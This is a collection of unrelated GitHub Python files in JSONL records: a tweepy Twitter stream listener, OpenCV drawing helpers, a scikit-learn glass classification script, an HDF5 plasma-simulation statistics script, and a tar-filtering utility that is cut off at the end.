'https://twitter.com/{}/status/{}'.format(status.user.screen_name, status.id_str)\r\n if len(tweet_queue) == 0 or (not (tweet_url in tweet_queue)):\r\n if text.strip() == self.last_tweet.strip():\r\n print(\"Double tweet by\", status.user.screen_name)\r\n else:\r\n tweet_queue.append(tweet_url)\r\n self.last_tweet = text\r\n print(\"QUEUE: \", tweet_queue)\r\n\r\n def on_error(self, status_code):\r\n if status_code == 420:\r\n print(\"Twitter stream disconnected.\")\r\n #returning False in on_data disconnects the stream\r\n return False\r\n\r\n\r\nasync def start_stream():\r\n while True:\r\n if stream.running:\r\n pass\r\n else:\r\n stream.filter(follow=followed_ids, is_async=True)\r\n print(\"Streaming data from Twitter\")\r\n await asyncio.sleep(10)\r\n\r\nauth = tweepy.OAuthHandler(tokens.TWITTER_API_KEY, tokens.TWITTER_API_SECRET)\r\nauth.set_access_token(tokens.ACCESS_KEY, tokens.ACCESS_SECRET)\r\napi = tweepy.API(auth)\r\n\r\nfollowed_ids = get_user_ids(follow_list)\r\n\r\nstream_listener = StreamListener()\r\nstream = tweepy.Stream(auth=api.auth, listener=stream_listener)\r\n\r\n\r\n# start_stream()\r\n\r\n\r\n\r\n","repo_name":"lxwang/twitterbot","sub_path":"stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":4796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31170045891","text":"import cv2\nimport random\n\n\ndef create_all_colors(count):\n random.seed(3146)\n return [(int(random.randint(50, 255)),\n int(random.randint(50, 255)),\n int(random.randint(50, 255)))\n for _ in range(count)]\n\n\nall_colors = create_all_colors(100)\n\n\nclass CopyImageCamerasProcessor:\n def __init__(self, source, dest):\n self.dest = dest\n self.source = source\n\n def process(self, data):\n if 'cameras' in data:\n for cam_name, cam_data in data['cameras'].items():\n cam_data[self.dest] = cam_data[self.source].copy()\n return data\n\n\nclass PaintDetectionsProcessor:\n def __init__(self, field_name):\n self.field_name = field_name\n\n def process(self, data):\n if 'cameras' in data:\n for cam_name, cam_values in data['cameras'].items():\n to_show = cam_values[self.field_name]\n self.paint_detections(to_show, cam_values)\n cam_values[self.field_name] = to_show\n return data\n\n def paint_detections(self, to_show, values):\n for det in values['detections']:\n box = det['box']\n conf = det['conf']\n cv2.rectangle(to_show, (box[0], box[1]),\n (box[0] + box[2], box[1] + box[3]), (255, 255, 0), 2)\n cv2.putText(to_show, f\"{conf*100:.0f}\", (box[0], box[1]), cv2.FONT_HERSHEY_SIMPLEX,\n 0.5, (0, 255, 255), 1)\n\n\nclass PaintTrackersInCamera:\n\n def __init__(self, field_name):\n self.field_name = field_name\n\n def process(self, data):\n if 'cameras' in data:\n for cam_name, cam_values in data['cameras'].items():\n tracked_objects = cam_values.get('tracked_objects')\n if tracked_objects is None:\n continue\n to_show = cam_values[self.field_name]\n for (x, y, w, h), conf, t_id, det in tracked_objects.values():\n color = all_colors[t_id % 100]\n caption = str(t_id)\n\n cv2.rectangle(to_show, (int(x), int(y)), (int(x + w), int(y + h)), color, 2)\n cv2.putText(to_show, caption, (int(x), int(y) - 2),\n cv2.FONT_HERSHEY_SIMPLEX, 0.75, color, thickness=2)\n\n cam_values[self.field_name] = to_show\n\n return data\n\n\nclass PaintFrameId:\n def __init__(self, field_name):\n self.field_name = field_name\n\n def process(self, data):\n if 'frame_idx' in data and 'cameras' in data:\n msg = f\"frm:{data['frame_idx']}\"\n for cam_name, cam_values in data['cameras'].items():\n to_show = cam_values[self.field_name]\n h, w, _ = to_show.shape\n cv2.putText(to_show, msg, (0, h-5), cv2.FONT_HERSHEY_SIMPLEX,\n 0.7, (0, 255, 255), 2)\n\n return data","repo_name":"herrmilt/MLPython2023Lectures","sub_path":"resources/label_video_train_detector/test_detector/pipelines/image_drawers_processors.py","file_name":"image_drawers_processors.py","file_ext":"py","file_size_in_byte":2921,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"40309988159","text":"from cProfile import label\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\n\nfrom matplotlib import pyplot as plt\n\ndf = pd.read_csv('glass.data.csv', header=None)\n# print(df)\nall_columns = [\"Id number\", \"RI\", \"Na\", \"Mg\", \"Al\",\n \"Si\", \"K\", \"Ca\", \"Ba\", \"Fe\", \"Type of glass\"]\n\ndf.columns = all_columns\ndf.drop(\"Id number\", axis=1, inplace=True)\n# print(df)\n\n# Q1\nmain_features = all_columns[1:-1]\nx = df[main_features]\ny = df[\"Type of glass\"]\n# print(x)\n# print(y)\nx_train, x_test, y_train, y_test = train_test_split(\n x, y, test_size=0.3, random_state=1, stratify=y)\nprint(f'x_train shape:{x_train.shape}')\nprint(f'y_train shape:{y_train.shape}')\nprint(f'x_test shape:{x_test.shape}')\nprint(f'y_test shape:{y_test.shape}')\n\n\n# Q2 & Q3\ntypes = [1, 2, 3, 5, 6, 7]\ntypes_name = ['building-float', 'building-non-float',\n 'vehicle-float', 'containers', 'tableware', 'headlamps']\nmodel = RandomForestClassifier(n_estimators=25)\n# GridSearchCV\n# param_grid = {'n_estimators':np.arange(1,200)}\n# model = GridSearchCV(model, param_grid, cv=5, scoring='accuracy')\n# train the model\nmodel.fit(x_train, y_train)\n# get GridSearch parameters\n# best_n = model.best_params_['n_estimators']\n# acc = model.best_score_\n# print(f'Best n_estimators\\t: {best_n}')\n\npred = model.predict(x_test)\n# print prediction\n# print(pred)\n# use sklearn metrics\nacc = accuracy_score(y_test, pred)\nprint(f'RandomForestClassifier Accuracy: {(acc*100).round(2)}%')\n# print(classification_report(y_test, pred))\ncm = confusion_matrix(y_test, pred, labels=types)\n# print(cm)\ndf_cm = pd.DataFrame(cm, index=types_name, columns=types_name)\n# print(df_cm)\n\n\nmodel = KNeighborsClassifier(n_neighbors=4)\n# GridSearchCV\n# param_grid = {'n_neighbors':np.arange(1,20)}\n# model = GridSearchCV(model, param_grid, cv=5, scoring='accuracy')\n# train the model\nmodel.fit(x_train, y_train)\n# get GridSearch parameters\n# best_n = model.best_params_['n_neighbors']\n# acc = model.best_score_\n# print(f'Best n_neighbors\\t: {best_n}')\n\npred = model.predict(x_test)\nacc = accuracy_score(y_test, pred)\nprint(f'KNeighborsClassifier Accuracy: {(acc*100).round(2)}%')\n# print(classification_report(y_test, pred))\ncm = confusion_matrix(y_test, pred, labels=types)\n# print(cm)\ndf_cm = pd.DataFrame(cm, index=types_name, columns=types_name)\n# print(df_cm)\n\n\nmodel = DecisionTreeClassifier()\n# GridSearchCV\n# param_grid = {'criterion': ['gini', 'entropy'], 'splitter': ['best', 'random']}\n# model = GridSearchCV(model, param_grid, cv=5, scoring='accuracy')\n# train the model\nmodel.fit(x_train, y_train)\n# get GridSearch parameters\n# best_criterion = model.best_params_['criterion']\n# best_splitter = model.best_params_['splitter']\n# acc = model.best_score_\n# print(f'Best criterion\\t: {best_criterion}')\n# print(f'Best splitter\\t: {best_splitter}')\n\npred = model.predict(x_test)\nacc = accuracy_score(y_test, pred)\nprint(f'DecisionTreeClassifier Accuracy: {(acc*100).round(2)}%')\n# print(classification_report(y_test, pred))\ncm = confusion_matrix(y_test, pred, labels=types)\n# print(cm)\ndf_cm = pd.DataFrame(cm, index=types_name, columns=types_name)\n# print(df_cm)\n","repo_name":"GinaChang/RecommendSystem","sub_path":"Lab 1-2/509557023.py","file_name":"509557023.py","file_ext":"py","file_size_in_byte":3578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26237304358","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 25 17:17:25 2020\n\n@author: jaa\n\"\"\"\n#from IPython import get_ipython\n#get_ipython().magic('reset -sf')\n\n\nimport numpy as np\nimport h5py\nimport glob, os\n\nimport gc\ngc.collect()\n\n#cd /run/media/jaa/C2BCB9BCBCB9AB75/DIRAC_RUNs/SCALING/weak_2_scaling_256\n\n#Call and read the file\n###############################################################################\n\n\n#Load the file\n#for i in range(1,10):\n#path = '/disk/plasma2/jaa/CB8WAVES/CB8waves_04'\npath = '/disk/plasmaz/jaa/Critical_Balance/CB8waves_104_1/Raw_outputs'\nfile=sorted(glob.glob(os.path.join(path, '*.h5')))\na=-1\n#a=5\n#Utotal_av=[]; U_elec_av=[]; U_mag_av =[]; Ki_av =[]; Ke_av =[]; Ki_th_av =[]; Ke_th_av=[]; J_rms_T=[]; B_rms_T=[]; Vi_rms_T=[]\n\n#S_poynting=[]; E_elec_mag_V=[] \n\nfor i in glob.glob( os.path.join(path, '*.h5')):\n a=a+1; \n# print(file[a]) \n filename1= file[a]#'/disk/plasma2/jaa/CB8WAVES/CB8waves_04/pfd.002000_p000000.h5' \n #Read the file\n print(filename1)\n h5_1st = h5py.File(filename1, 'r')\n #Get the fields\n ##############################################################################################################################################################\n e_field=h5_1st[list(h5_1st.keys())[16]] # Like this the outcome is a group\n h_field=h5_1st[list(h5_1st.keys())[17]] # ['hx', 'hy', 'hz']\n j_field=h5_1st[list(h5_1st.keys())[18]] # ['jx', 'jy', 'jz']\n v_field=h5_1st[list(h5_1st.keys())[24]] # ['vx_e', 'vx_i', 'vy_e', 'vy_i', 'vz_e', 'vz_i']\n #n_density=h5_1st[list(h5_1st.keys())[22]] #['n_e', 'n_i']\n #T_tensor=h5_1st[list(h5_1st.keys())[0]] #['Txx_e', 'Txx_i', 'Txy_e', 'Txy_i', 'Txz_e', 'Txz_i', 'Tyy_e', 'Tyy_i', 'Tyz_e', 'Tyz_i', 'Tzz_e', 'Tzz_i']\n \n # Electric field components\n #-----------------------------------------------------\n #Unreference the variables which are in a 3D\n \n ex=e_field['ex'] ; ex=ex['p0'] ; ex=ex['3d'] ; ex=np.array(ex) ; #ex=ex[:,:,:] ;# ex=np.transpose(ex, (1, 2, 0))\n ey=e_field['ey'] ; ey=ey['p0'] ; ey=ey['3d'] ; ey=np.array(ey) ;#ey=ey[:,:,:] ;# ey=np.transpose(ey, (1, 2, 0))\n ez=e_field['ez'] ; ez=ez['p0'] ; ez=ez['3d'] ; ez=np.array(ez) ;#ez=ez[:,:,:] ;# ez=np.transpose(ez, (1, 2, 0))\n \n # Magnetic field components\n #-----------------------------------------------------\n hx=h_field['hx'] ; hx=hx['p0'] ; hx=hx['3d'] ; hx=np.array(hx) ;#hx=hx[:,:,:] ;# hx=np.transpose(hx, (1, 2, 0))\n hy=h_field['hy'] ; hy=hy['p0'] ; hy=hy['3d'] ; hy=np.array(hy) ;#hy=hy[:,:,:] ;# hy=np.transpose(hy, (1, 2, 0))\n hz=h_field['hz'] ; hz=hz['p0'] ; hz=hz['3d'] ; hz=np.array(hz) ;#hz=hz[:,:,:] ;# hz=np.transpose(hz, (1, 2, 0))\n \n # Current field components\n #-----------------------------------------------------\n jx=j_field['jx'] ; jx=jx['p0'] ; jx=jx['3d'] ; jx=np.array(jx) ;#jx=jx[:,:,:] ;# jx=np.transpose(jx, (1, 2, 0))\n jy=j_field['jy'] ; jy=jy['p0'] ; jy=jy['3d'] ; jy=np.array(jy) ;#jy=jy[:,:,:] ;# jy=np.transpose(jy, (1, 2, 0))\n jz=j_field['jz'] ; jz=jz['p0'] ; jz=jz['3d'] ; jz=np.array(jz) ;#jz=jz[:,:,:] ;# jz=np.transpose(jz, (1, 2, 0))\n \n # Velocity Ions components\n #-----------------------------------------------------\n vx_i=v_field['vx_i'] ; vx_i=vx_i['p0'] ; vx_i=vx_i['3d'] ; vx_i=np.array(vx_i) ;#vx_i=vx_i[:,:,:] ;# vx_i=np.transpose(vx_i, (1, 2, 0))\n vy_i=v_field['vy_i'] ; vy_i=vy_i['p0'] ; vy_i=vy_i['3d'] ; vy_i=np.array(vy_i) ;#vy_i=vy_i[:,:,:] ;# vy_i=np.transpose(vy_i, (1, 2, 0))\n vz_i=v_field['vz_i'] ; vz_i=vz_i['p0'] ; vz_i=vz_i['3d'] ; vz_i=np.array(vz_i) ;#vz_i=vz_i[:,:,:] ;# vz_i=np.transpose(vz_i, (1, 2, 0))\n \n # Velocity electrons components\n #-----------------------------------------------------\n vx_e=v_field['vx_e'] ; vx_e=vx_e['p0'] ; vx_e=vx_e['3d'] ; vx_e=np.array(vx_e) ;#vx_e=vx_e[:,:,:] ;# vx_e=np.transpose(vx_e, (1, 2, 0))\n vy_e=v_field['vy_e'] ; vy_e=vy_e['p0'] ; vy_e=vy_e['3d'] ; vy_e=np.array(vy_e) ;#vy_e=vy_e[:,:,:] ;# vy_e=np.transpose(vy_e, (1, 2, 0))\n vz_e=v_field['vz_e'] ; vz_e=vz_e['p0'] ; vz_e=vz_e['3d'] ; vz_e=np.array(vz_e) ;#vz_e=vz_e[:,:,:] ;# vz_e=np.transpose(vz_e, (1, 2, 0))\n \n # Density Ions and electrons\n #-----------------------------------------------------\n #n_i=n_density['n_i'] ; n_i=n_i['p0'] ; n_i=n_i['3d'] ; n_i=n_i[:,:,:] ;# n_i=np.transpose(n_i, (1, 2, 0))\n #n_e=n_density['n_e'] ; n_e=n_e['p0'] ; n_e=n_e['3d'] ; n_e=n_e[:,:,:] ;# n_e=np.transpose(n_e, (1, 2, 0))\n \n # Temperature electron tensor components T_1st_single\n #-----------------------------------------------------\n #Txx_e = T_tensor['Txx_e'] ; Txx_e=Txx_e['p0'] ; Txx_e=Txx_e['3d'] ; Txx_e=Txx_e[:,:,:] ; #Txx_e=np.transpose(Txx_e, (1, 2, 0))\n #Txy_e = T_tensor['Txy_e'] ; Txy_e=Txy_e['p0'] ; Txy_e=Txy_e['3d'] ; Txy_e=Txy_e[:,:,:] ;#Txy_e=np.transpose(Txy_e, (1, 2, 0))\n #Txz_e = T_tensor['Txz_e'] ; Txz_e=Txz_e['p0'] ; Txz_e=Txz_e['3d'] ; Txz_e=Txz_e[:,:,:] ;#Txz_e=np.transpose(Txz_e, (1, 2, 0))\n #Tyy_e = T_tensor['Tyy_e'] ; Tyy_e=Tyy_e['p0'] ; Tyy_e=Tyy_e['3d'] ; Tyy_e=Tyy_e[:,:,:] ;#Tyy_e=np.transpose(Tyy_e, (1, 2, 0))\n #Tyz_e = T_tensor['Tyz_e'] ; Tyz_e=Tyz_e['p0'] ; Tyz_e=Tyz_e['3d'] ; Tyz_e=Tyz_e[:,:,:] ;#Tyz_e=np.transpose(Tyz_e, (1, 2, 0))\n #Tzz_e = T_tensor['Tzz_e'] ; Tzz_e=Tzz_e['p0'] ; Tzz_e=Tzz_e['3d'] ; Tzz_e=Tzz_e[:,:,:] ;#Tzz_e=np.transpose(Tzz_e, (1, 2, 0))\n # Temperature Ions tensor components\n #-----------------------------------------------------\n #Txx_i = T_tensor['Txx_i'] ; Txx_i=Txx_i['p0'] ; Txx_i=Txx_i['3d'] ; Txx_i=Txx_i[:,:,:] ;#Txx_i=np.transpose(Txx_i, (1, 2, 0))\n #Txy_i = T_tensor['Txy_i'] ; Txy_i=Txy_i['p0'] ; Txy_i=Txy_i['3d'] ; Txy_i=Txy_i[:,:,:] ;#Txy_i=np.transpose(Txy_i, (1, 2, 0))\n #Txz_i = T_tensor['Txz_i'] ; Txz_i=Txz_i['p0'] ; Txz_i=Txz_i['3d'] ; Txz_i=Txz_i[:,:,:] ;#Txz_i=np.transpose(Txz_i, (1, 2, 0))\n #Tyy_i = T_tensor['Tyy_i'] ; Tyy_i=Tyy_i['p0'] ; Tyy_i=Tyy_i['3d'] ; Tyy_i=Tyy_i[:,:,:] ;#Tyy_i=np.transpose(Tyy_i, (1, 2, 0))\n #Tyz_i = T_tensor['Tyz_i'] ; Tyz_i=Tyz_i['p0'] ; Tyz_i=Tyz_i['3d'] ; Tyz_i=Tyz_i[:,:,:] ;#Tyz_i=np.transpose(Tyz_i, (1, 2, 0))\n #Tzz_i = T_tensor['Tzz_i'] ; Tzz_i=Tzz_i['p0'] ; Tzz_i=Tzz_i['3d'] ; Tzz_i=Tzz_i[:,:,:] ;#Tzz_i=np.transpose(Tzz_i, (1, 2, 0))\n ##############################################################################################################################################################\n \n \n #Make operations with the loaded data\n ###############################################################################\n \n #plt.pcolor(np.sum(ex,axis=0)) #integration over the first dimension\n # ex.shape returns the dimensions of the matrix \n \"\"\"\n J_mag = np.sqrt(jx[:,:,:]**2 + jy[:,:,:]**2 + jz[:,:,:]**2)\n H_mag = np.sqrt(hx[:,:,:]**2 + hy[:,:,:]**2 + hz[:,:,:]**2)\n E_mag = np.sqrt(ex[:,:,:]**2 + ey[:,:,:]**2 + ez[:,:,:]**2)\n Vi_mag = np.sqrt(vx_i[:,:,:]**2 + vy_i[:,:,:]**2 + vz_i[:,:,:]**2)\n Ve_mag = np.sqrt(vx_e[:,:,:]**2 + vy_e[:,:,:]**2 + vz_e[:,:,:]**2)\n vi_th=np.sqrt((Txx_i[:,:,:] + Tyy_i[:,:,:] + Tzz_i[:,:,:])/3)\n ve_th=np.sqrt((Txx_e[:,:,:] + Tyy_e[:,:,:] + Tzz_e[:,:,:])/3)\n \"\"\"\n mi_me=100; \n J_mag = np.sqrt(jx**2 + jy**2 + jz**2)\n H_mag = np.sqrt(hx**2 + hy**2 + hz**2)\n E_mag = np.sqrt(ex**2 + ey**2 + ez**2)\n Vi_mag = np.sqrt(vx_i**2 + vy_i**2 + vz_i**2)\n Ve_mag = np.sqrt(vx_e**2 + vy_e**2 + vz_e**2)\n #Ti = (Txx_i + Tyy_i + Tzz_i)/3\n #Te = (Txx_e + Tyy_e + Tzz_e)/3\n #Vith = np.sqrt(2)*np.sqrt(np.abs(Ti))\n #Veth = np.sqrt(2*mi_me)*np.sqrt(np.abs(Te)) \n E_par = (ex*hx + ey*hy + ez*hz)/H_mag\n JE=ex*jx + ey*jy + ez*jz\n \"\"\"\n H_mag_mean = np.mean(H_mag); H_mag_std = np.std(H_mag);\n E_mag_mean = np.mean(E_mag); E_mag_std = np.std(E_mag);\n J_mag_mean = np.mean(J_mag); J_mag_std = np.std(J_mag);\n Vi_mag_mean = np.mean(Vi_mag); Vi_mag_std = np.std(Vi_mag);\n Ve_mag_mean = np.mean(Ve_mag); Ve_mag_std = np.std(Ve_mag);\n Ti_mean = np.mean(Ti); Ti_std = np.std(Ti);\n Te_mean = np.mean(Te); Te_std = np.std(Te);\n Vith_mean = np.mean(Vith); Vith_std = np.std(Vith);\n Veth_mean = np.mean(Veth); Veth_std = np.std(Veth);\n E_par_mean = np.mean(E_par); E_par_std = np.std(E_par);\n JE_mean = np.mean(JE); JE_std = np.std(JE);\n \"\"\"\n H_mag_rms = np.sqrt(np.mean(H_mag**2)); #H_mag_std = np.std(H_mag);\n E_mag_rms = np.sqrt(np.mean(E_mag**2)); #E_mag_std = np.std(E_mag);\n J_mag_rms = np.sqrt(np.mean(J_mag**2)); #J_mag_std = np.std(J_mag);\n Vi_mag_rms = np.sqrt(np.mean(Vi_mag**2)); #Vi_mag_std = np.std(Vi_mag);\n Ve_mag_rms = np.sqrt(np.mean(Ve_mag**2)); #Ve_mag_std = np.std(Ve_mag);\n #Ti_mean = np.mean(Ti); Ti_std = np.std(Ti);\n #Te_mean = np.mean(Te); Te_std = np.std(Te);\n #Vith_mean = np.mean(Vith); Vith_std = np.std(Vith);\n #Veth_mean = np.mean(Veth); Veth_std = np.std(Veth);\n E_par_rms = np.sqrt(np.mean(E_par**2)); #E_par_std = np.std(E_par);\n JE_rms = np.sqrt(np.mean(JE**2)); #JE_std = np.std(JE);\n \n \n #calculating thresholds \n #H_mag_threshold = H_mag_mean + 4*H_mag_std\n #E_mag_threshold = E_mag_mean + 4*E_mag_std\n #J_mag_threshold = J_mag_mean + 4*J_mag_std\n #Vi_threshold = Vi_mag_mean + 4*Vi_mag_std\n #Ve_threshold = Ve_mag_mean + 4*Ve_mag_std\n #Ti_threshold = Ti_mean + 4*Ti_std\n #Te_threshold = Te_mean + 4*Te_std\n #Vith_threshold = Vith_mean + 4*Vith_std\n #Veth_threshold = Veth_mean + 4*Veth_std\n #E_par_threshold = E_par_mean + 4*E_par_std\n #JE_threshold = JE_mean + 4*JE_std\n \n \n #H_mag_thr1 = H_mag_mean + 3*H_mag_std\n #E_mag_thr1 = E_mag_mean + 3*E_mag_std\n #J_mag_thr1 = J_mag_mean + 3*J_mag_std\n #Vi_thr1 = Vi_mag_mean + 3*Vi_mag_std\n #Ve_thr1 = Ve_mag_mean + 3*Ve_mag_std\n #Ti_thr1 = Ti_mean + 3*Ti_std\n #Te_thr1 = Te_mean + 3*Te_std\n #Vith_thr1 = Vith_mean + 3*Vith_std\n #Veth_thr1 = Veth_mean + 3*Veth_std\n #E_par_thr1 = E_par_mean + 3*E_par_std\n #JE_thr1 = JE_mean + 3*JE_std\n \n ###################################################################################################\n os.chdir('/disk/plasmaz/jaa/Critical_Balance/CB8waves_104_1/Statistics') \n #os.chdir('/disk/plasmaz/jaa/Critical_Balance/Temperature_test/This_are_the_runs_2/one')\n # Write into the file\n \n name=str(a*24)\n f= open(\"%s_rms.txt\" %name,\"w+\")\n f.write('These are the statistics for t*wpi = %s' %name +'\\n'\n 'H_mag_rms = %5.5f' %H_mag_rms + '\\n' \n 'E_mag_rms = %5.5f' %E_mag_rms + '\\n' \n 'J_mag_rms = %5.5f' %J_mag_rms + '\\n' \n 'E_par_rms = %5.5f' %E_par_rms +'\\n'\n 'JE_rms = %5.5f' %JE_rms + '\\n'\n 'Vi_mag_rms = %5.5f' %Vi_mag_rms +'\\n' \n 'Ve_mag_rms = %5.5f' %Ve_mag_rms +'\\n' \n #'H_mag_mean = %5.5f' %H_mag_mean + '\\t H_mag_std = %5.5f' %H_mag_std + '\\t H_mag_thr1 = %5.5f' %H_mag_thr1 + '\\t H_mag_threshold = %5.5f' %H_mag_threshold +'\\n' \n #'E_mag_mean = %5.5f' %E_mag_mean + '\\t E_mag_std = %5.5f' %E_mag_std + '\\t E_mag_thr1 = %5.5f' %E_mag_thr1 + '\\t E_mag_threshold = %5.5f' %E_mag_threshold +'\\n' \n #'J_mag_mean = %5.5f' %J_mag_mean + '\\t J_mag_std = %5.5f' %J_mag_std + '\\t J_mag_thr1 = %5.5f' %J_mag_thr1 + '\\t J_mag_threshold = %5.5f' %J_mag_threshold +'\\n' \n #'E_par_mean = %5.5f' %E_par_mean + '\\t E_par_std = %5.5f' %E_par_std + '\\t E_par_thr1 = %5.5f' %E_par_thr1 + '\\t E_par_threshold = %5.5f' %E_par_threshold +'\\n'\n #'JE_mean = %5.5f' %JE_mean + '\\t JE_std = %5.5f' %JE_std + '\\t JE_thr1 = %5.5f' %JE_thr1 + '\\t JE_threshold = %5.5f' %JE_threshold +'\\n'\n #'Vi_mag_mean = %5.5f' %Vi_mag_mean + '\\t Vi_mag_std = %5.5f' %Vi_mag_std + '\\t Vi_thr1 = %5.5f' %Vi_thr1 + '\\t Vi_threshold = %5.5f' %Vi_threshold +'\\n' \n #'Ve_mag_mean = %5.5f' %Ve_mag_mean + '\\t Ve_mag_std = %5.5f' %Ve_mag_std + '\\t Ve_thr1 = %5.5f' %Ve_thr1 + '\\t Ve_threshold = %5.5f' %Ve_threshold +'\\n' \n # 'Ti_mean = %5.5f' %Ti_mean + '\\t Ti_std = %5.5f' %Ti_std + '\\t Ti_thr1 = %5.5f' %Ti_thr1 + '\\t Ti_threshold = %5.5f' %Ti_threshold +'\\n' \n # 'Te_mean = %5.5f' %Te_mean + '\\t Te_std = %5.5f' %Te_std + '\\t Te_thr1 = %5.5f' %Te_thr1 + '\\t Te_threshold = %5.5f' %Te_threshold +'\\n' \n # 'Vith_mean = %5.5f' %Vith_mean + '\\t Vith_std = %5.5f' %Vith_std + '\\t Vith_thr1 = %5.5f' %Vith_thr1 + '\\t Vith_threshold = %5.5f' %Vith_threshold +'\\n' \n # 'Veth_mean = %5.5f' %Veth_mean + '\\t Veth_std = %5.5f' %Veth_std + '\\t Veth_thr1 = %5.5f' %Veth_thr1 + '\\t Veth_threshold = %5.5f' %Veth_threshold +'\\n' \n )\n f.close() \n \n del ex, ey, ez, hx, hy, hz, jx, jy, jz, vx_i, vy_i, vz_i, vx_e, vy_e, vz_e \n #del Txx_e, Tyy_e, Tzz_e, Txx_i, Tyy_i, Tzz_i, Ti, Te\n del J_mag, H_mag, E_mag, Vi_mag, Ve_mag, E_par, JE \n #del Vith, Veth\n\n\n\n\n#############################################################################################################################\n\"\"\"\n# To read the file\n#####################################################################\nimport numpy as np\nimport h5py\nimport glob, os\nimport gc\ngc.collect()\n\n####################################################################\nf = open(\"0.txt\", \"r\")\nfor x in f:\n lin = x\n y=lin.split('=')\n y=str(y[1])\n y=y.split('\\t')\n print(y[0])\nf.close()\n#####################################################################\n\npath = '/disk/plasmaz/jaa/Critical_Balance/CB8waves_104_1/Statistics'\nfile=sorted(glob.glob(os.path.join(path, '*.txt')))\na=-1\n\nfor i in glob.glob( os.path.join(path, '*.h5')):\n a=a+1; \n# print(file[a]) \n filename2= file[a]#\n f = open(filename2, \"r\")\n lin = f.readline()\n lin = f.readline() #H_mag\n lin = f.readline() #E_mag \n lin = f.readline() # J_mag\n lin = f.readline() # E_par\n lin = f.readline() # JE\n \n y=lin.split('=')\n mean=str(y[:][1]); std=str(y[:][2]); thr1=str(y[:][3]); threshold = y=str(y[:][4])\n mean=mean.split('\\t')[0] ; std=std.split('\\t')[0]; thr1=thr1.split('\\t')[0]\n f.close()\n###############################################################################\n\"\"\"\n#############################################################################################################################\n ","repo_name":"JefferssonAgudelo/Processing_data_Scripts","sub_path":"Processing_data_Scripts/Python_Scripts/get_statistics_for_frames.py","file_name":"get_statistics_for_frames.py","file_ext":"py","file_size_in_byte":14257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34418672869","text":"import io \nimport os\nimport tarfile\nimport numpy as np\nfrom argparse import ArgumentParser\nimport time\n\n\ndef are_files_selected(current_file_root, img_list):\n \"\"\"This is the function that decides which pairs of images+metadata\n are written in the resulting tar and which are not.\"\"\" \n\n # current_files.keys() contains e.g.\n # dict_keys(['000000007.jpg', '000000007.json', '000000007.txt'])\n # i.e. a 9-digit image ID and a file ending\n # the img list is a whitelist for all desired image IDs\n return int(current_file_root) in img_list\n\n\ndef write_files(current_files, out_tar_stream):\n \"\"\"Appends the files to the tar archive.\n\n Args:\n current_files (dict): keys are filnames and values is the data (bytearray)\n out_tar_stream (IOStream): the archive where we *write* the files\n \"\"\"\n for filename in current_files:\n data = current_files[filename]\n info = tarfile.TarInfo(name=filename)\n info.size = len(data)\n out_tar_stream.addfile(info, io.BytesIO(data))\n \n\ndef process(archive_filename, out_tar_stream, img_list, **kwargs):\n \"\"\"Iterates through the files inside the tar, groups them together based on prefix,\n filters the file-groups and finally writes them to the output tar.\n\n Args:\n archive_filename (str): the archive from which we *read* the files\n out_tar_stream (IOStream): the archive where we *write* the files\n \"\"\"\n\n label_list = kwargs.pop('label_list', None)\n img_set = kwargs.pop('img_set', None)\n\n current_file_root = None\n current_files = {}\n count_records = 0\n\n print(f\"Processing {archive_filename}\")\n stream = tarfile.open(archive_filename, mode=\"r|*\")\n for tarinfo in stream:\n file_root = \".\".join(tarinfo.name.split(\".\")[:-1])\n \n if current_file_root is None:\n current_file_root = file_root\n\n if file_root != current_file_root:\n if are_files_selected(current_file_root, img_set):\n # write the files and add an additional file_root.cls file for the label\n # the same image might occur multiple times with different labels, add\n # an entry for each\n if label_list is not None:\n list_idcs = (img_list == int(current_file_root)).nonzero()\n filename = f'{current_file_root}.cls'\n labels = label_list[list_idcs]\n for label in labels:\n current_files[filename] = str(label).encode()\n write_files(current_files, out_tar_stream)\n count_records += 1\n else:\n write_files(current_files, out_tar_stream)\n count_records += 1\n\n current_file_root = file_root\n current_files = {}\n\n fname = tarinfo.name\n if not tarinfo.isreg():\n continue\n if fname is None:\n continue\n if fname.startswith(\"__\") and fname.endswith(\"__\"): # meta files\n continue\n data = stream.extractfile(tarinfo).read()\n current_files[tarinfo.name] = data\n \n stream.members = []\n \n # do 1 more time for last group of files\n if len(current_files) > 0 and are_files_selected(current_file_root, img_set):\n if label_list is not None:\n list_idcs = (img_list == int(current_file_root)).nonzero()\n filename = f'{current_file_root}.cls'\n labels = label_list[list_idcs]\n for label in labels:\n current_files[filename] = str(label).encode()\n write_files(current_files, out_tar_stream)\n count_records += 1\n else:\n write_files(current_files, out_tar_stream)\n count_records += 1\n\n return count_records\n\n\ndef create_output_tar_stream(output_folder, worker_index, out_tar_index):\n os.makedirs(output_folder, exist_ok=True)\n output_tar = f\"{output_folder}/{worker_index}_{out_tar_index}.tar\"\n out_tar_stream = tarfile.TarFile(output_tar, 'w')\n return out_tar_stream\n\n\ndef main(args):\n # load image and label info\n\n # keep only the first n records\n # the lists are already constrained to some size n, but for the\n # per-query or per-class case there might be a few more entries\n # than we need since the arrays are rectangular\n\n img_list = np.load(args.img_file, allow_pickle=True)\n img_list = img_list.ravel()[:args.n_imgs]\n img_set = set(img_list) # convert it into set to make things faster\n if args.label_file is not None:\n label_list = np.load(args.label_file, allow_pickle=True)\n label_list = label_list.ravel()[:args.n_imgs]\n #label_list = set(label_list)\n else:\n label_list = None\n\n\n out_tar_index = 0\n out_tar_stream = create_output_tar_stream(\n args.out_dir, args.worker_idx, out_tar_index)\n count_records = 0\n\n tars = []\n for f in os.listdir(args.data_dir):\n if f.endswith(\".tar\"):\n tars.append(f)\n tars = sorted(tars)\n\n # Pay 